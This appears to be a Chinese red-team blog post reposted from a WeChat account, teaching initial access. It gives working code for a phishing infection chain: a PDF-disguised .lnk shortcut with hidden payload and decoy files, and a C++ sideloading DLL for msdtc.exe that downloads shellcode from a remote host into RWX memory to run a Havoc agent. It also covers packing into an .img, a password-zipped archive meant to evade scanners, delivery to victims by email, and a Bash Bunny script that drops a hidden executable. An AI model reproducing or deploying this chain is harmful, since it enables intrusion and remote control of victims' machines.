初始访问简介
初始访问可以说是红队评估中最微妙的部分。获取初始访问权的方法有很多种。第一种方法是搜索目标员工的泄露凭据或访问密钥。但是,这是一种概率方法,客户端可能没有暴露在外部边界的远程访问服务。
另一种方法是利用网络钓鱼活动来锁定用户,诱骗他们执行提供远程访问 (RAT) 的恶意软件。最后,在物理评估期间,我们可能会访问未锁定的机器,在那里我们可以使用 Rubber Ducky 来执行恶意软件。
初始访问方法
感染链可能非常复杂,我们的工作就是管理和构建它们。下面是一个例子:
不久前,发送嵌入宏的 Office 文档就足以获得初始访问权限。然而,这种情况已不再存在,因为 AV/EDR 解决方案已得到显著改进,而且 Microsoft 已实施安全机制来防止某些基于宏的攻击。
Mariusz Banach 明确定义的感染链分类法遵循以下结构:
交付(容器(有效载荷 + 扳机 + 诱饵))
-
DELIVERY: 将容器交付给用户的方法。
-
CONTAINER: 将多个文件合并为一个文件的包。
-
PAYLOAD: 实际的恶意软件。
-
TRIGGER: 诱骗用户与之交互以启动感染链的元素。
-
DECOY: 向用户呈现的内容,使攻击看起来合法。
在开发链中,我们从分类法的核心(PAYLOAD、DECOY、TRIGGER)开始:
感染链
Trigger
触发器可以是 Shell 链接,Shell 链接是包含用于访问 Shell 命名空间中另一个对象的信息的数据对象,Shell 链接的文件扩展名为 .lnk,在资源管理器中不可见,因此是一种非常隐蔽的文件格式。我们可以通过修改“目标字段”将它们用作触发器。
要创建 shell Link,我们可以使用 powershell,如下所示:
PS C:PayloadsinitialAccess3> $shortcut = New-Object -ComObject WScript.ShellPS C:PayloadsinitialAccess3> $lnk = $shortcut.CreateShortcut("C:PayloadsinitialAccess3Salary.pdf.lnk")PS C:PayloadsinitialAccess3> $lnk.TargetPath = "%COMSPEC%"PS C:PayloadsinitialAccess3> $lnk.Arguments = "/C start malware.exe && start RealPDF.pdf"PS C:PayloadsinitialAccess3> $lnk.Save()PS C:PayloadsinitialAccess3> ls Directory: C:PayloadsinitialAccess3Mode LastWriteTime Length Name---- ------------- ------ -----a---- 2/16/20253:15 PM 1749 Salary.pdf.lnk
在这种情况下,malware.exe 将成为有效载荷,而 RealPDF.pdf 将成为诱饵。这样,当有人点击触发器时,恶意软件和诱饵都会被执行。
现在,当然,我们需要在 Shell Link 目录中添加 malware.exe 和诱饵。malware.exe 将是 Havoc 代理,而诱饵可以是任何随机 PDF。当然,与薪水相关的 PDF 对受害者来说不太可疑。要搜索 PDF,我们可以使用 filetype Google dork:
现在我们可以下载我们最喜欢的一个(或者创建一个我们自己的以匹配客户的公司功能),并将其作为 RealPDF.pdf 添加到 shell 链接目录中,接下来在同一目录中添加 Havoc 代理有效负载:
PSC:PayloadsinitialAccess3> lsDirectory: C:PayloadsinitialAccess3ModeLastWriteTimeLengthName----------------------------a----1/17/20255:14PM102400malware.exe-a----2/16/202511:47AM81659RealPDF.pdf-a----2/16/20253:15PM1749Salary.pdf.lnk
现在,在文件资源管理器中,我们可以看到这三个文件都是可见的......我们不希望这样,因为即使是黑猩猩也能看出这是不安全的。
我们需要隐藏恶意软件和诱饵,并使触发器更吸引人点击。要隐藏文件,我们只需右键单击它们并选择“属性”->“隐藏”->“应用”
现在只有触发器可见:
现在,剩下要做的就是将图标更改为更合法的图标,例如 PDF 图标。为此,请单击属性 ->“更改图标”
并将图标文件路径修改为:%ProgramFiles(x86)%MicrosoftEdgeApplicationmsedge.exe
现在选择 pdf 图标并->确定->应用:
如果所有操作都正确,单击 Salary.pdf 文件后我们应该会得到一个会话:
有效载荷
在现实世界中使用原始的 Havoc 代理不会对您有所帮助。这是因为 AV 和 EDR 解决方案会保持最新状态以检测已知的恶意软件签名、行为检测等。这就是为什么知道如何开发和测试您自己的有效载荷至关重要。
我将向您展示如何创建使用 Native API 在内存中加载 Havoc 代理的恶意 DLL。这种技术被称为DLL 侧加载。它可以通过利用 Windows 在系统中搜索 DLL 的方式来工作:
-
可执行文件的目录
-
C:WindowsSystem32(系统目录)
-
C:WindowsSystem(16位系统目录,很少使用)
-
C:Windows(Windows 目录)
-
当前工作目录 (CWD)
-
系统 PATH 环境变量中的目录
-
用户 PATH 环境变量中的目录
如果应用程序尝试加载 DLL,而该 DLL 未在二进制目录中找到,它将尝试在 C:WindowsSystem32 中查找,然后在 C:WindowsSystem 中查找,依此类推。我们可以在 Windows 中寻找尝试加载缺失 DLL 的二进制文件。我们可以通过将恶意 DLL 放在工作目录中并等待应用程序启动来利用这一点。一旦应用程序运行,DLL 就会被加载并执行。
为了分析这一点,我们可以打开Process Hacker,导航到Modules,查看所有已加载的 DLL 及其相应的基地址:
查找易受攻击的系统可执行文件的一种方法是使用进程监视器 (Procmon) 并搜索尝试加载 DLL 但返回结果“未找到名称”的应用程序。
应用以下过滤器:
然后包括“CreateFile”操作:
然后执行 Windows 二进制文件,希望找到一些“NAME NOT FOUND”DLL。这是已知易受攻击的二进制文件的列表:
对于这个演示,我以 msdtc.exe 为目标。
此外,我们可以使用以下 PowerShell 命令找到该软件的旧版本:
PS C:> Get-ChildItem -Path C:WindowsWinSxS -Recurse -Filter msdtc.exe | Select -expand FullNameC:WindowsWinSxSamd64_microsoft-windows-com-dtc-runtime_31bf3856ad364e35_10.0.19041.3636_none_8dea99a915576fb8msdtc.exeC:WindowsWinSxSamd64_microsoft-windows-com-dtc-runtime_31bf3856ad364e35_10.0.19041.3636_none_8dea99a915576fb8fmsdtc.exeC:WindowsWinSxSamd64_microsoft-windows-com-dtc-runtime_31bf3856ad364e35_10.0.19041.3636_none_8dea99a915576fb8rmsdtc.exeC:WindowsWinSxSamd64_microsoft-windows-com-dtc-runtime_31bf3856ad364e35_10.0.19041.4474_none_8e046a1f15436717msdtc.exeC:WindowsWinSxSamd64_microsoft-windows-com-dtc-runtime_31bf3856ad364e35_10.0.19041.4474_none_8e046a1f15436717fmsdtc.exeC:WindowsWinSxSamd64_microsoft-windows-com-dtc-runtime_31bf3856ad364e35_10.0.19041.4474_none_8e046a1f15436717rmsdtc.exeC:WindowsWinSxSamd64_microsoft-windows-com-dtc-runtime_31bf3856ad364e35_10.0.19041.5438_none_8e000fbd15476566msdtc.exeC:WindowsWinSxSamd64_microsoft-windows-com-dtc-runtime_31bf3856ad364e35_10.0.19041.5438_none_8e000fbd15476566fmsdtc.exeC:WindowsWinSxSamd64_microsoft-windows-com-dtc-runtime_31bf3856ad364e35_10.0.19041.5438_none_8e000fbd15476566rmsdtc.exe
只需继续监视并从 PowerShell 窗口启动该程序,您就会看到该应用程序正在该目录中搜索不同的 DLL,但未找到任何内容:
这意味着,通过将名为 winmm.dll 的 dll 放在同一目录中,应用程序应该会加载并执行它:
#include"pch.h"#include<windows.h>DWORD WINAPI ShowMessageBox(LPVOID lpParam){ MessageBoxW(NULL, L"Hello world!", L"Hello World!", MB_OK);return0;}BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){// Create a thread and WAIT for it to finish HANDLE hThread = CreateThread(NULL, 0, ShowMessageBox, NULL, 0, NULL);if (hThread) { CloseHandle(hThread); }return TRUE;}
现在,运行 msdtc.exe 应该会加载 DLL 并执行消息框。这是因为 DllMain 在加载和卸载 DLL 的过程中被系统调用时,充当了 DLL 的入口点。
通常,在应用程序开发中,不建议在 DllMain 中包含过多指令,因为这可能会导致死锁或应用程序出现意外行为。为了避免这种情况,我们需要找到 DLL 导出并在代码中实现它们。DLL 导入在 DLL 已加载后使用。
现在,我们可以在 x64gdb 中打开C:WindowsWinSxSamd64_microsoft-windows-com-dtc-runtime_31bf3856ad364e35_10.0.19041.3636_none_8dea99a915576fb8msdtc.exe ,并分析“符号”选项卡。它包含已加载的模块和相应的导出表
我们还可以向导出表添加断点并再次运行应用程序:
我们看到 DtcMainExt 从 msdtctm.dll 被调用。由于该函数是按序号而不是按名称调用的,因此我们需要在 Visual Studio 中修改项目。您可以将序号想象为 DLL 内函数的数字标识符。
添加模块定义文件:
现在进入 .def 文件并在“library”下添加:
为了测试这是否有效,我们可以在 DLL 中创建一个导出函数并将其命名为 DtcMainExt。然后我们可以编译该 DLL,并将名为 msdtctm.dll 的 DLL 复制到 msdtc.exe 本机目录中,或者将二进制文件复制到 DLL 目录中并运行它。
测试代码:
#include"pch.h"#include<windows.h>//export functionextern __declspec(dllexport) PVOID DtcMainExt(){ MessageBoxA(NULL, "MessageBox Sideloading!", "Yayy!", MB_OK | MB_ICONEXCLAMATION);returnNULL;}BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){switch (ul_reason_for_call) {case DLL_PROCESS_ATTACH:case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:break; }return TRUE;}
此时,我们需要在 DLL 内部创建一个恶意函数,通过 HTTP/S 动态获取 shellcode 并将其加载到内存中。
对 shellcode 加载器的深入研究超出了本博客的范围,但下面是对其工作原理的高级概述:
-
我们在代码中实现了一个下载函数,用于检索 shellcode 并将其存储在变量中。
-
我们分配RWX(读写执行)内存或者直接从堆中执行 shellcode 。
-
我们将 shellcode 复制到分配的内存区域。
-
最后我们创建一个新线程来执行它。
我鼓励您尝试一下代码,看看它是否能被 Defender 检测到。一个技巧是使用 NtCreateSection + NtMapViewOfSection 来获得一个有支持的内存区域而不是无支持的内存区域,并且可能首先将内存分配为 RW,然后在运行时切换到 RWX。
// dllmain.cpp : Defines the entry point for the DLL application.#include"pch.h"#include<windows.h>#include<winhttp.h>#include<stdlib.h>#include<stdio.h>#pragma comment(lib, "winhttp.lib")// Function prototypesDWORD WINAPI LoadDemon();BYTE* DownloadShellcode(LPCWSTR ipAddress, LPCWSTR filename, DWORD* outSize);// Exported function (call this from your host process)extern __declspec(dllexport) PVOID DtcMainExt(){ LoadDemon();returnNULL;}BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){switch (ul_reason_for_call) {case DLL_PROCESS_ATTACH: DisableThreadLibraryCalls(hModule);break;case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:break; }return TRUE;}DWORD WINAPI LoadDemon(){// Step 1: Download the shellcode DWORD dataSize = 0; BYTE* shellcode = DownloadShellcode(L"192.168.189.176", L"/shellcode.bin", &dataSize);if (!shellcode || dataSize == 0) {return1; }// Step 2: Allocate executable memory using VirtualAlloc.// Using dataSize ensures we allocate exactly enough space. LPVOID execMemory = VirtualAlloc(NULL, dataSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE );if (!execMemory) {free(shellcode);return1; }// Step 3: Copy the shellcode into the allocated memory.memcpy(execMemory, shellcode, dataSize);free(shellcode);// Step 4: Create a thread to execute the shellcode. DWORD threadId = 0; HANDLE hThread = CreateThread(NULL,0, (LPTHREAD_START_ROUTINE)execMemory, // Shellcode entry pointNULL,0, &threadId );if (!hThread) {return1; }// Optionally wait for the shellcode thread to finish. WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread);return0;}BYTE* DownloadShellcode(LPCWSTR ipAddress, LPCWSTR filename, DWORD* outSize){ BYTE* buffer = NULL; DWORD bufferSize = 0, bytesRead = 0, totalBytesRead = 0;// Initialize WinHTTP session. HINTERNET hSession = WinHttpOpen(L"WinHTTP Example/1.0", WINHTTP_ACCESS_TYPE_AUTOMATIC_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS,0 );if (!hSession)returnNULL;// Connect using the IP address on the default HTTP port. HINTERNET hConnect = WinHttpConnect(hSession, ipAddress, INTERNET_DEFAULT_HTTP_PORT, 0);if (!hConnect) { WinHttpCloseHandle(hSession);returnNULL; }// Open an HTTP GET request for the shellcode file. HINTERNET hRequest = WinHttpOpenRequest( hConnect,L"GET", filename,NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES,0// HTTP (not HTTPS) );if (!hRequest) { WinHttpCloseHandle(hConnect); WinHttpCloseHandle(hSession);returnNULL; }// Send the request and wait for the response.if (!WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0) || !WinHttpReceiveResponse(hRequest, NULL)) { WinHttpCloseHandle(hRequest); WinHttpCloseHandle(hConnect); WinHttpCloseHandle(hSession);returnNULL; }// Read the response data into a buffer.do { bytesRead = 0;if (!WinHttpQueryDataAvailable(hRequest, &bytesRead) || bytesRead == 0) {break; } BYTE* tempBuffer = (BYTE*)realloc(buffer, bufferSize + bytesRead);if (!tempBuffer) {free(buffer); buffer = NULL;break; } buffer = tempBuffer;if (!WinHttpReadData(hRequest, buffer + bufferSize, bytesRead, &bytesRead)) {free(buffer); buffer = NULL;break; } bufferSize += bytesRead; totalBytesRead += bytesRead; } while (bytesRead > 0);// Clean up WinHTTP handles. WinHttpCloseHandle(hRequest); WinHttpCloseHandle(hConnect); WinHttpCloseHandle(hSession);if (outSize) *outSize = totalBytesRead;return buffer;}
包装和运送
现在我们已经创建了一个可以运行的有效载荷,我们可以打包并传递它。这次我想展示另一个可能的触发器,即批处理文件。因此,这次我们将连接 Shell 链接并将其指向 bash 文件。
再次创建有效载荷,这次使用批处理文件。
批处理文件用于 Windows 中的脚本编写,其中的命令由 cmd.exe 等解释器按顺序解释。为了防止命令显示给用户,我们可以在批处理文件的开头添加 @echo off。如果命令产生任何输出,我们可以通过在命令末尾添加 > nul 2>&1 来抑制它。
需要复制到当前目录的文件是:
C:WindowsWinSxSamd64_microsoft-windows-com-dtc-runtime_31bf3856ad364e35_10.0.19041.3636_none_8dea99a915576fb8msdtc.exe
之后,我们只需执行它,DLL 就会被加载并执行。
该批处理文件看起来将会像这样:
@echo offstart msdtc.exestart RealPDF.pdfexit
该脚本的作用是在当前目录中执行 msdtc.exe,以便加载恶意 DLL,最后打开向用户显示的诱饵 PDF。
现在,我们将创建批处理文件的快捷方式。这样,我们可以像以前一样为其分配 PDF 图标,使其看起来更合法。
151 $shortcut = New-Object -ComObject WScript.Shell152 $lnk = $shortcut.CreateShortcut("C:PayloadsDllSideLoading3Salary.pdf.lnk")153 $lnk.TargetPath = "%COMSPEC%"154 $lnk.Arguments = "/C start Salary.bat"155 $lnk.Save()
将发送给受害者的文件是:
PSC:PayloadsDllSideLoading3> lsDirectory: C:PayloadsDllSideLoading3ModeLastWriteTimeLengthName----------------------------a----2/20/20251:30AM1821Salary.pdf.lnkPSC:PayloadsDllSideLoading3> ls-HiddenDirectory: C:PayloadsDllSideLoading3ModeLastWriteTimeLengthName----------------------------a-h--12/4/20233:50AM182272msdtc.exe-a-h--2/19/202511:30PM66048msdtctm.dll-a-h--2/16/202511:47AM81659RealPDF.pdf-a-h--2/21/20251:46AM51Salary.bat
现在我们可以打包payload并将其发送给受害者
演示:
现在,我们可以压缩文件,并记住对存档进行密码保护。这可以防止浏览器扫描程序检测到恶意文件。
通常,您会使用 MX 记录设置自己的域名,但这需要时间。更快的解决方案是Gmail。但是,Gmail 不允许上传包含潜在有害数据的受密码保护的档案。为了绕过这个问题,我们可以使用第三方文件共享平台。
但首先,我们需要打包我们的有效载荷。打包用于将多个文件合并为一个文件,例如 ZIP 存档。可以使用各种文件扩展名来实现此目的,但我发现.img文件是最好的,因为它们不需要外部软件进行提取并且可以有效地隐藏文件。相比之下,使用WinRAR打开 ZIP 文件会显示隐藏文件
我们可以将这两种技术结合在一起,并压缩一个 img 文件,为了打包文件,我使用了这个工具“ PackMyPayload ”:
我们可以使用以下命令将多个文件打包到一个.img文件中:
PS C:ToolsPackMyPayload-master> python3.12.exe .PackMyPayload.py -H Salary.bat,msdtctm.dll,RealPDF.pdf,msdtc.exe C:PayloadsDllSideLoading3 C:PayloadsFinalPayloadSalary.img+ o + o + o + o + o + + o + +o + + + o + + o-_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------, o :: PACK MY PAYLOAD (1.3.0) -_-_-_-_-_-_-| /_/forall your container cravings -_-_-_-_-_-~|__( ^ .^) + +-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-''''+ oo + o + oo + o+ o + o ~ Mariusz Banach / mgeeky oo ~ + ~ o + o + +[.] Packaging inputfileto output .img (iso)...Burning files onto ISO: Adding file: /msdtc.exe Adding file: /msdtctm.dll Adding file: /RealPDF.pdf Adding file: /Salary.bat Adding file: /Salary.pdf.lnk Hiding file: //Salary.bat Hiding file: //msdtctm.dll Hiding file: //RealPDF.pdf Hiding file: //msdtc.exe[+] File packed into ISO.[+] Generated file written to (size: 397312): C:PayloadsFinalPayloadSalary.img
现在我们可以在资源管理器中查看 .img 文件,并双击它,我们只看到触发器:
我们现在可以使用我们最喜欢的归档程序来用密码压缩文件。
接下来,我们将文件上传到文件共享平台并发送电子邮件
受害者将会收到以下内容:
然后他们会下载该文件:
用户解压并安装文件后,将看到 PDF 快捷方式。双击后,批处理文件将执行 msdtc.exe,然后下载并加载 Havoc 守护程序。
BashBunny
在物理接触期间,我们可能会访问未锁定的机器,这使其成为Bash Bunny或Rubber Ducky攻击的容易目标。
Bash Bunny是一款紧凑型 USB 设备,可模拟键盘,使其能够以超快的速度执行按键操作,从而在几秒钟内破坏机器。要了解有关 Bash bunny 和相关 Hak5 工具的更多信息,请阅读此
当Bash Bunny插入攻击模式时,它既可以充当 USB 存储设备,又可以充当键盘,让我们可以直接在其上托管恶意文件。为此,在根目录中创建一个名为“tools”的新文件夹,并在其中添加一个 payload.exe 文件。下一步是动态确定Bash Bunny 分配的驱动器号,因为它可能因现有的外部或内部磁盘而异。在PowerShell中,我们可以使用以下代码:
$BashBunnyDrive = (Get-Volume | Where-Object { $_.FileSystemLabel -eq "BashBunny" }).DriveLetter + ":"PS C:Userskapla> $BashBunnyDriveF:
BashBunny使用Ducky脚本语言来执行操作,理解起来非常简单,基本操作如下:
-
GUI r用于启动运行GUI,相当于按win+R。
-
DELAY用于设置命令之间的延迟。
-
STRING此处找到的内容将被输入
可能的有效载荷如下,该命令找到 Bash Bunny 的驱动器号,将 payload.exe 复制到 C:WindowsTaskschrome-startup.exe,然后在隐藏的情况下执行它:
# Initialize the Bash BunnyLED SETUPATTACKMODE HID STORAGE#Execute the powershell commandLED STAGE2Q GUI rQ DELAY 500Q STRING powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "$BashBunnyDrive = (Get-Volume | Where-Object { $_.FileSystemLabel -eq 'BashBunny' }).DriveLetter + ':'; copy $BashBunnyDrivetoolspayload.exe C:WindowsTaskschrome-startup.exe; Start-Process C:WindowsTaskschrome-startup.exe"Q ENTERQ DELAY 10000# Finish and indicate success with LEDLED FINISH
请注意,有效载荷将成为 PowerShell 的子进程,这意味着一旦 PowerShell 窗口关闭,有效载荷也将终止。我建议使用远程进程注入技术来防止信标消失。
原文始发于微信公众号(Ots安全):Lorenzo Meacci的高级初始访问技术
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论